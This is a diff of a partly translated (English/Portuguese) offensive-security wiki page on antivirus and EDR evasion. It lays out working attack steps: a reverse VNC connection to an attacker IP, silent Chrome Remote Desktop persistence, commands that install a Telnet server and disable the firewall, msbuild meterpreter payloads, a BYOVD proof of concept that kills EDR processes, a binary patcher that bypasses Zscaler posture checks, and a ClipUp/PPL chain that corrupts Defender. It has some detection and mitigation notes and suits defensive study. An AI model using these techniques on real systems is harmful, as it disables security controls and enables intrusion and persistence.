+Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
 
 - **Fork\&Run**
 
-Envolve **criar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar o código malicioso e, quando terminar, matar o novo processo. Isso tem tanto benefícios quanto desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo implantado Beacon. Isso significa que, se algo na nossa ação de pós-exploração der errado ou for detectado, há uma **chance muito maior** de nosso **implant sobreviver.** A desvantagem é que existe uma **maior chance** de sermos pegos por **Behavioural Detections**.
+Envolve **spawnar um novo processo sacrificial**, injetar seu código pós-exploração malicioso nesse novo processo, executar o código malicioso e, ao terminar, matar o novo processo. Isto tem benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo implantado Beacon. Isso significa que se algo na nossa ação pós-exploração der errado ou for detectado, há uma **chance muito maior** de o nosso **implant sobreviver.** A desvantagem é que você tem uma **maior chance** de ser detectado por **Behavioural Detections**.
 
 <figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
 
 - **Inline**
 
-Trata-se de injetar o código malicioso de pós-exploração **no próprio processo**. Dessa forma, você evita criar um novo processo e que ele seja escaneado pelo AV, mas a desvantagem é que, se algo der errado na execução do seu payload, há uma **chance muito maior** de **perder seu beacon**, já que ele pode travar.
+Trata-se de injetar o código pós-exploração malicioso **no próprio processo**. Assim, você evita criar um novo processo e submetê-lo a scans de AV, mas a desvantagem é que se algo der errado na execução do payload, há uma **chance muito maior** de **perder seu beacon**, pois ele pode travar.
 
 <figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
 
 > [!TIP]
-> Se você quiser ler mais sobre carregamento de Assembly C#, confira este artigo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e o InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
+> If you want to read more about C# Assembly loading, please check out this article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) and their InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
 
-Você também pode carregar Assemblies C# **a partir do PowerShell**, veja [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e o vídeo do S3cur3th1sSh1t (https://www.youtube.com/watch?v=oe11Q-3Akuk).
+You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
 
 ## Using Other Programming Languages
 
-Como proposto em [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), é possível executar código malicioso usando outras linguagens dando à máquina comprometida acesso **ao ambiente do interpretador instalado no Attacker Controlled SMB share**.
+As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), it's possible to execute malicious code using other languages by giving the compromised machine access **to the interpreter environment installed on the Attacker Controlled SMB share**.
 
-Ao permitir acesso aos Interpreter Binaries e ao ambiente na SMB share, você pode **executar código arbitrário nessas linguagens dentro da memória** da máquina comprometida.
+Ao permitir acesso aos Interpreter Binaries e ao ambiente na share SMB, você pode **executar código arbitrário nessas linguagens dentro da memória** da máquina comprometida.
 
-O repo indica: Defender ainda escaneia os scripts, mas ao utilizar Go, Java, PHP etc temos **mais flexibilidade para contornar assinaturas estáticas**. Testes com reverse shells aleatórios não ofuscados nessas linguagens se mostraram bem-sucedidos.
+The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have **more flexibility to bypass static signatures**. Testing with random un-obfuscated reverse shell scripts in these languages has proved successful.
 
 ## TokenStomping
 
-Token stomping é uma técnica que permite a um atacante **manipular o access token ou um produto de segurança como um EDR ou AV**, permitindo reduzir seus privilégios de modo que o processo não morra, mas não tenha permissões para verificar atividades maliciosas.
+Token stomping é uma técnica que permite a um atacante **manipular o token de acesso ou um produto de segurança como um EDR ou AV**, permitindo reduzir suas permissões de modo que o processo não morra, mas também não tenha permissões para checar atividades maliciosas.
 
 Para prevenir isso, o Windows poderia **impedir que processos externos** obtenham handles sobre os tokens de processos de segurança.
 
@@ -381,27 +441,27 @@ Para prevenir isso, o Windows poderia **impedir que processos externos** obtenha
 
 ### Chrome Remote Desktop
 
-Como descrito em [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), é fácil apenas implantar o Chrome Remote Desktop em um PC vítima e então usá-lo para assumir o controle e manter persistência:
+As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), it's easy to just deploy the Chrome Remote Desktop in a victims PC and then use it to takeover it and maintain persistence:
 1. Download from https://remotedesktop.google.com/, click on "Set up via SSH", and then click on the MSI file for Windows to download the MSI file.
 2. Run the installer silently in the victim (admin required): `msiexec /i chromeremotedesktophost.msi /qn`
 3. Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue.
-4. Execute the given parameter with some adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note the pin param which allows to set the pin withuot using the GUI).
+4. Execute the given parameter with some adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note the pin param which allows to set the pin without using the GUI).
 
 
 ## Advanced Evasion
 
-Evasion é um tópico muito complicado; às vezes você precisa considerar muitas fontes diferentes de telemetria em um único sistema, então é praticamente impossível permanecer completamente indetectável em ambientes maduros.
+Evasion é um tópico muito complexo; às vezes você precisa levar em conta muitas fontes diferentes de telemetria em um único sistema, então é praticamente impossível ficar completamente indetectável em ambientes maduros.
 
-Cada ambiente contra o qual você atua terá suas próprias forças e fraquezas.
+Cada ambiente que você atacar terá suas próprias forças e fraquezas.
 
-Eu fortemente encorajo você a assistir esta palestra do [@ATTL4S](https://twitter.com/DaniLJ94), para obter uma base sobre técnicas de Advanced Evasion.
+Eu fortemente encorajo você a assistir esta palestra de [@ATTL4S](https://twitter.com/DaniLJ94), para obter uma introdução a técnicas mais avançadas de Evasion.
 
 
 {{#ref}}
 https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
 {{#endref}}
 
-Esta é também outra excelente palestra do [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasion in Depth.
+This is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth.
 
 
 {{#ref}}
@@ -412,27 +472,27 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
 
 ### **Check which parts Defender finds as malicious**
 
-Você pode usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que irá **remover partes do binário** até **descobrir qual parte o Defender** considera maliciosa e dividi-la para você.\
-Outra ferramenta que faz a **mesma coisa é** [**avred**](https://github.com/dobin/avred) com uma oferta web aberta do serviço em [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
+You can use [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) which will **remove parts of the binary** until it **finds out which part Defender** is finding as malicious and split it to you.\
+Another tool doing the **same thing is** [**avred**](https://github.com/dobin/avred) with an open web offering the service in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
 
 ### **Telnet Server**
 
-Até o Windows10, todas as versões do Windows vinham com um **Telnet server** que você podia instalar (como administrador) fazendo:
+Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing:
 ```bash
 pkgmgr /iu:"TelnetServer" /quiet
 ```
-Faça com que ele **inicie** quando o sistema for iniciado e **execute** agora:
+Faça com que ele **inicie** quando o sistema for iniciado e **execute-o** agora:
 ```bash
 sc config TlntSVR start= auto obj= localsystem
 ```
-**Alterar telnet port** (stealth) e desativar firewall:
+**Alterar a porta do telnet (stealth) e desativar o firewall:**
 ```
 tlntadmn config port=80
 netsh advfirewall set allprofiles state off
 ```
 ### UltraVNC
 
-Baixe em: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (você quer os bin downloads, não o setup)
+Faça o download em: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (você quer os downloads bin, não o setup)
 
 **ON THE HOST**: Execute _**winvnc.exe**_ e configure o servidor:
 
@@ -444,17 +504,17 @@ Em seguida, mova o binário _**winvnc.exe**_ e o arquivo **recém-criado** _**Ul
 
 #### **Reverse connection**
 
-O **attacker** deve **executar dentro** do seu **host** o binário `vncviewer.exe -listen 5900` para que ele fique **preparado** para capturar uma reverse **VNC connection**. Então, dentro da **victim**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
+O **attacker** deve **executar no** seu **host** o binário `vncviewer.exe -listen 5900` para ficar **preparado** para receber uma reverse **VNC connection**. Então, dentro da **victim**: inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
 
-**WARNING:** Para manter a stealth você não deve fazer algumas coisas
+**WARNING:** Para manter o stealth você não deve fazer algumas coisas
 
-- Não inicie `winvnc` se ele já estiver em execução ou você acionará um [popup](https://i.imgur.com/1SROTTl.png). Verifique se está em execução com `tasklist | findstr winvnc`
-- Não inicie `winvnc` sem `UltraVNC.ini` no mesmo diretório ou isso fará a [config window](https://i.imgur.com/rfMQWcf.png) abrir
+- Não inicie `winvnc` se já estiver em execução ou você acionará um [popup](https://i.imgur.com/1SROTTl.png). Verifique se está em execução com `tasklist | findstr winvnc`
+- Não inicie `winvnc` sem `UltraVNC.ini` no mesmo diretório ou isso fará com que [a janela de configuração](https://i.imgur.com/rfMQWcf.png) seja aberta
 - Não execute `winvnc -h` para ajuda ou você acionará um [popup](https://i.imgur.com/oc18wcu.png)
 
 ### GreatSCT
 
-Baixe em: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
+Faça o download em: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
 ```
 git clone https://github.com/GreatSCT/GreatSCT.git
 cd GreatSCT/setup/
@@ -472,15 +532,15 @@ sel lport 4444
 generate #payload is the default name
 #This will generate a meterpreter xml and a rcc file for msfconsole
 ```
-Agora **start the lister** com `msfconsole -r file.rc` e **execute** o **xml payload** com:
+Agora **inicie o lister** com `msfconsole -r file.rc` e **execute** o **xml payload** com:
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
 ```
-**O Defender atual encerrará o processo muito rapidamente.**
+**O Defender atual encerrará o processo muito rápido.**
 
-### Compilando nosso próprio reverse shell
+### Compiling our own reverse shell
 
-https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
+https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
 
 #### Primeiro C# Revershell
 
@@ -585,7 +645,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
 https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
 {{#endref}}
 
-Lista de obfuscadores para C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
+Lista de ofuscadores para C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
 
 ### C++
 ```
@@ -600,7 +660,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
 - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
 - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
 
-### Usando python para build injectors — exemplo:
+### Usando python para criar injetores — exemplo:
 
 - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
 
@@ -635,21 +695,21 @@ https://github.com/praetorian-code/vulcan
 
 ## Bring Your Own Vulnerable Driver (BYOVD) – Eliminando AV/EDR a partir do espaço do kernel
 
-Storm-2603 aproveitou uma pequena utilidade de console conhecida como **Antivirus Terminator** para desabilitar proteções endpoint antes de dropar ransomware. A ferramenta traz seu **próprio driver vulnerável mas *assinado*** e o abusa para emitir operações privilegiadas no kernel que até mesmo serviços AV Protected-Process-Light (PPL) não conseguem bloquear.
+Storm-2603 utilizou uma pequena utilidade de console conhecida como **Antivirus Terminator** para desabilitar proteções endpoint antes de dropar ransomware. A ferramenta traz o **próprio driver vulnerável mas *assinado*** e o abusa para emitir operações privilegiadas no kernel que até serviços AV em Protected-Process-Light (PPL) não conseguem bloquear.
 
-Key take-aways
-1. **Signed driver**: The file delivered to disk is `ServiceMouse.sys`, but the binary is the legitimately signed driver `AToolsKrnl64.sys` from Antiy Labs’ “System In-Depth Analysis Toolkit”. Because the driver bears a valid Microsoft signature it loads even when Driver-Signature-Enforcement (DSE) is enabled.
+Pontos principais
+1. **Signed driver**: O arquivo entregue em disco é `ServiceMouse.sys`, mas o binário é o driver legitimamente assinado `AToolsKrnl64.sys` do “System In-Depth Analysis Toolkit” da Antiy Labs. Como o driver possui uma assinatura válida da Microsoft, ele é carregado mesmo quando o Driver-Signature-Enforcement (DSE) está habilitado.
 2. **Service installation**:
 ```powershell
 sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
 sc start  ServiceMouse
 ```
-The first line registers the driver as a **kernel service** and the second one starts it so that `\\.\ServiceMouse` becomes accessible from user land.
+A primeira linha registra o driver como um **serviço de kernel** e a segunda o inicia para que `\\.\ServiceMouse` se torne acessível a partir do espaço do usuário.
 3. **IOCTLs exposed by the driver**
 | IOCTL code | Capability                              |
 |-----------:|-----------------------------------------|
-| `0x99000050` | Terminar um processo arbitrário por PID (usado para matar serviços Defender/EDR) |
-| `0x990000D0` | Apagar um arquivo arbitrário no disco |
+| `0x99000050` | Terminar um processo arbitrário por PID (usado para encerrar serviços do Defender/EDR) |
+| `0x990000D0` | Excluir um arquivo arbitrário no disco |
 | `0x990001D0` | Descarregar o driver e remover o serviço |
 
 Minimal C proof-of-concept:
@@ -664,28 +724,28 @@ CloseHandle(hDrv);
 return 0;
 }
 ```
-4. **Why it works**:  BYOVD skips user-mode protections entirely; code that executes in the kernel can open *protected* processes, terminate them, or tamper with kernel objects irrespective of PPL/PP, ELAM or other hardening features.
+4. **Why it works**:  BYOVD ignora totalmente as proteções em modo usuário; código que executa no kernel pode abrir *processos protegidos*, terminá-los ou manipular objetos do kernel independentemente de PPL/PP, ELAM ou outras medidas de hardening.
 
-Detecção / Mitigação
-•  Habilitar a lista de bloqueio de drivers vulneráveis da Microsoft (`HVCI`, `Smart App Control`) para que o Windows recuse carregar `AToolsKrnl64.sys`.  
-•  Monitorar a criação de novos serviços *kernel* e alertar quando um driver for carregado a partir de um diretório gravável por qualquer usuário ou não estiver presente na allow-list.  
+Detection / Mitigation
+•  Habilitar a lista de bloqueio de drivers vulneráveis da Microsoft (`HVCI`, `Smart App Control`) para que o Windows se recuse a carregar `AToolsKrnl64.sys`.  
+•  Monitorar criações de novos serviços de *kernel* e alertar quando um driver é carregado a partir de um diretório gravável por qualquer usuário ou não presente na lista de permitidos.  
 •  Observar handles em modo usuário para objetos de dispositivo customizados seguidos por chamadas suspeitas de `DeviceIoControl`.
 
 ### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
 
-Zscaler’s **Client Connector** aplica regras de postura do dispositivo localmente e depende de RPC do Windows para comunicar os resultados a outros componentes. Duas escolhas de design fracas tornam um bypass completo possível:
+O **Client Connector** da Zscaler aplica regras de postura do dispositivo localmente e depende de Windows RPC para comunicar os resultados a outros componentes. Duas escolhas de design fracas tornam um bypass completo possível:
 
-1. A avaliação de postura acontece **inteiramente no lado do cliente** (um booleano é enviado ao servidor).  
-2. Endpoints RPC internos apenas validam que o executável conectante é **assinado pela Zscaler** (via `WinVerifyTrust`).
+1. A avaliação de postura acontece **inteiramente no cliente** (um booleano é enviado ao servidor).  
+2. Endpoints RPC internos validam apenas que o executável que se conecta é **assinado pela Zscaler** (via `WinVerifyTrust`).
 
 Ao **patchar quatro binários assinados no disco** ambos os mecanismos podem ser neutralizados:
 
-| Binary | Lógica original patchada | Resultado |
-|--------|--------------------------|---------|
-| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Sempre retorna `1`, fazendo com que toda verificação seja considerada conforme |
-| `ZSAService.exe` | Chamada indireta a `WinVerifyTrust` | NOP-ed ⇒ qualquer processo (mesmo não assinado) pode se ligar aos pipes RPC |
+| Binary | Original logic patched | Result |
+|--------|------------------------|---------|
+| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Sempre retorna `1`, portanto toda verificação é considerada em conformidade |
+| `ZSAService.exe` | Chamada indireta para `WinVerifyTrust` | Substituído por NOP ⇒ qualquer processo (mesmo não assinado) pode vincular-se aos pipes RPC |
 | `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Substituído por `mov eax,1 ; ret` |
-| `ZSATunnel.exe` | Verificações de integridade no tunnel | Curtocircuitado |
+| `ZSATunnel.exe` | Verificações de integridade no túnel | Contornado |
 
 Minimal patcher excerpt:
 ```python
@@ -701,31 +761,31 @@ else:
 f.seek(off)
 f.write(replacement)
 ```
-Após substituir os arquivos originais e reiniciar a pilha de serviços:
+Depois de substituir os arquivos originais e reiniciar a pilha de serviços:
 
-* **Todas** as verificações de postura exibem **verde/conforme**.
-* Binaries não assinados ou modificados podem abrir os endpoints RPC via named-pipe (p.ex. `\\RPC Control\\ZSATrayManager_talk_to_me`).
-* O host comprometido obtém acesso irrestrito à rede interna definida pelas políticas do Zscaler.
+* **Todos** as verificações de postura exibem **verde/compatível**.
+* Binários não assinados ou modificados podem abrir os endpoints RPC via named-pipe (ex.: `\\RPC Control\\ZSATrayManager_talk_to_me`).
+* O host comprometido ganha acesso irrestrito à rede interna definida pelas políticas do Zscaler.
 
-Este estudo de caso demonstra como decisões de confiança puramente do lado do cliente e verificações simples de assinatura podem ser derrotadas com alguns patches de bytes.
+Este estudo de caso demonstra como decisões de confiança puramente do lado do cliente e simples verificações de assinatura podem ser derrotadas com algumas alterações de bytes.
 
-## Abusando do Protected Process Light (PPL) para adulterar AV/EDR com LOLBINs
+## Abusando de Protected Process Light (PPL) para manipular AV/EDR com LOLBINs
 
-Protected Process Light (PPL) aplica uma hierarquia signer/nível de modo que apenas processos protegidos de nível igual ou superior podem adulterar uns aos outros. Do ponto de vista ofensivo, se você conseguir lançar legitimamente um binário habilitado para PPL e controlar seus argumentos, pode converter funcionalidades benignas (por exemplo, logging) em um primitivo de escrita restrito, suportado por PPL, contra diretórios protegidos usados por AV/EDR.
+Protected Process Light (PPL) impõe uma hierarquia de assinantes/níveis para que apenas processos protegidos de nível igual ou superior possam manipular uns aos outros. No ataque, se você conseguir iniciar legitimamente um binário habilitado para PPL e controlar seus argumentos, é possível converter funcionalidades benignas (por exemplo, logging) em uma primitiva de escrita restrita, suportada por PPL, contra diretórios protegidos usados por AV/EDR.
 
 O que faz um processo rodar como PPL
-- O EXE alvo (e quaisquer DLLs carregadas) devem estar assinados com um EKU compatível com PPL.
-- O processo deve ser criado com CreateProcess usando as flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
-- Um nível de proteção compatível deve ser requisitado que corresponda ao signer do binário (por exemplo, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` para signers anti-malware, `PROTECTION_LEVEL_WINDOWS` para Windows signers). Níveis incorretos falharão na criação.
+- O EXE alvo (e quaisquer DLLs carregadas) deve ser assinado com um EKU compatível com PPL.
+- O processo precisa ser criado com CreateProcess usando as flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
+- Deve ser requisitado um nível de proteção compatível que corresponda ao assinante do binário (por exemplo, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` para assinantes anti-malware, `PROTECTION_LEVEL_WINDOWS` para assinantes do Windows). Níveis incorretos falharão na criação.
 
-See also a broader intro to PP/PPL and LSASS protection here:
+Veja também uma introdução mais ampla a PP/PPL e proteção do LSASS aqui:
 
 {{#ref}}
 stealing-credentials/credentials-protections.md
 {{#endref}}
 
-Launcher tooling
-- Auxiliar de código aberto: CreateProcessAsPPL (seleciona o nível de proteção e encaminha os argumentos para o EXE alvo):
+Ferramentas de launcher
+- Auxiliar open-source: CreateProcessAsPPL (seleciona o nível de proteção e encaminha os argumentos para o EXE alvo):
 - [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
 - Padrão de uso:
 ```text
@@ -735,20 +795,20 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
 # example: spawn an anti-malware signed component at level 3
 CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
 ```
-LOLBIN primitive: ClipUp.exe
+Primitiva LOLBIN: ClipUp.exe
 - The signed system binary `C:\Windows\System32\ClipUp.exe` self-spawns and accepts a parameter to write a log file to a caller-specified path.
 - When launched as a PPL process, the file write occurs with PPL backing.
 - ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations.
 
 8.3 short path helpers
-- Liste nomes curtos: `dir /x` em cada diretório pai.
-- Obter caminho curto no cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
+- List short names: `dir /x` in each parent directory.
+- Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
 
 Abuse chain (abstract)
-1) Inicie o LOLBIN compatível com PPL (ClipUp) com `CREATE_PROTECTED_PROCESS` usando um launcher (e.g., CreateProcessAsPPL).
-2) Passe o argumento log-path do ClipUp para forçar a criação de um arquivo em um diretório protegido do AV (e.g., Defender Platform). Use nomes curtos 8.3 se necessário.
-3) Se o binário alvo normalmente estiver aberto/bloqueado pelo AV enquanto em execução (e.g., MsMpEng.exe), agende a gravação na inicialização antes do AV iniciar instalando um serviço de auto-início que seja executado mais cedo de forma confiável. Valide a ordem de inicialização com Process Monitor (boot logging).
-4) Na reinicialização a gravação com proteção PPL ocorre antes do AV bloquear seus binários, corrompendo o arquivo alvo e impedindo a inicialização.
+1) Launch the PPL-capable LOLBIN (ClipUp) with `CREATE_PROTECTED_PROCESS` using a launcher (e.g., CreateProcessAsPPL).
+2) Pass the ClipUp log-path argument to force a file creation in a protected AV directory (e.g., Defender Platform). Use 8.3 short names if needed.
+3) If the target binary is normally open/locked by the AV while running (e.g., MsMpEng.exe), schedule the write at boot before the AV starts by installing an auto-start service that reliably runs earlier. Validate boot ordering with Process Monitor (boot logging).
+4) On reboot the PPL-backed write happens before the AV locks its binaries, corrupting the target file and preventing startup.
 
 Example invocation (paths redacted/shortened for safety):
 ```text
@@ -756,21 +816,21 @@ Example invocation (paths redacted/shortened for safety):
 CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
 ```
 Notas e restrições
-- Você não pode controlar o conteúdo que ClipUp escreve além do posicionamento; a primitiva é mais adequada para corrupção do que para injeção precisa de conteúdo.
-- Requer privilégios locais de admin/SYSTEM para instalar/iniciar um serviço e uma janela de reboot.
-- O timing é crítico: o alvo não deve estar aberto; execução em boot evita bloqueios de arquivo.
+- Você não pode controlar o conteúdo que ClipUp escreve além do local; a primitiva é mais adequada à corrupção do que à injeção precisa de conteúdo.
+- Requer admin local/SYSTEM para instalar/iniciar um serviço e uma janela de reboot.
+- O timing é crítico: o alvo não deve estar aberto; a execução no boot evita locks de arquivo.
 
 Detecções
-- Criação de processos de `ClipUp.exe` com argumentos incomuns, especialmente quando for filho de launchers não padrão, durante o boot.
-- Novos serviços configurados para auto-iniciar binários suspeitos e que consistentemente iniciam antes do Defender/AV. Investigue criação/modificação de serviços anterior a falhas de inicialização do Defender.
-- Monitoramento de integridade de arquivos nos binários do Defender/diretórios Platform; criações/modificações de arquivos inesperadas por processos com flags de protected-process.
-- Telemetria ETW/EDR: procurar processos criados com `CREATE_PROTECTED_PROCESS` e uso anômalo de níveis PPL por binários não-AV.
+- Criação do processo de `ClipUp.exe` com argumentos incomuns, especialmente com processo pai não padrão, em torno do boot.
+- Novos serviços configurados para auto-iniciar binários suspeitos e que consistentemente iniciam antes do Defender/AV. Investigue criação/modificação de serviços antes de falhas de inicialização do Defender.
+- Monitoramento de integridade de arquivos em binários do Defender/diretórios Platform; criações/modificações de arquivos inesperadas por processos com flags de protected-process.
+- Telemetria ETW/EDR: procure por processos criados com `CREATE_PROTECTED_PROCESS` e uso anômalo de níveis PPL por binários não-AV.
 
 Mitigações
-- WDAC/Code Integrity: restringir quais binários assinados podem rodar como PPL e sob quais pais; bloquear invocações de ClipUp fora de contextos legítimos.
-- Higiene de serviços: restringir criação/modificação de serviços de auto-início e monitorar manipulação da ordem de inicialização.
-- Garantir que a proteção contra adulteração do Defender e as proteções de inicialização antecipada estejam habilitadas; investigar erros de inicialização que indiquem corrupção de binários.
-- Considere desabilitar a geração de nomes curtos 8.3 em volumes que hospedam ferramentas de segurança, se compatível com seu ambiente (testar exaustivamente).
+- WDAC/Code Integrity: restrinja quais binários assinados podem rodar como PPL e sob quais pais; bloqueie invocações de ClipUp fora de contextos legítimos.
+- Higiene de serviços: restrinja criação/modificação de serviços de auto-início e monitore manipulação da ordem de inicialização.
+- Garanta que tamper protection do Defender e proteções de early-launch estejam habilitadas; investigue erros de inicialização que indiquem corrupção de binários.
+- Considere desativar a geração de nomes curtos 8.3 em volumes que hospedam ferramentas de segurança se compatível com seu ambiente (teste cuidadosamente).
 
 References for PPL and tooling
 - Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
@@ -779,11 +839,14 @@ References for PPL and tooling
 - CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
 - Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
 
-## References
+## Referências
 
 - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
 - [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
 - [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
+- [Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/)
+- [Windows 11 Forwarded Exports Inventory (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt)
+- [Microsoft Docs – Known DLLs](https://learn.microsoft.com/windows/win32/dlls/known-dlls)
 - [Microsoft – Protected Processes](https://learn.microsoft.com/windows/win32/procthread/protected-processes)
 - [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)
 - [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)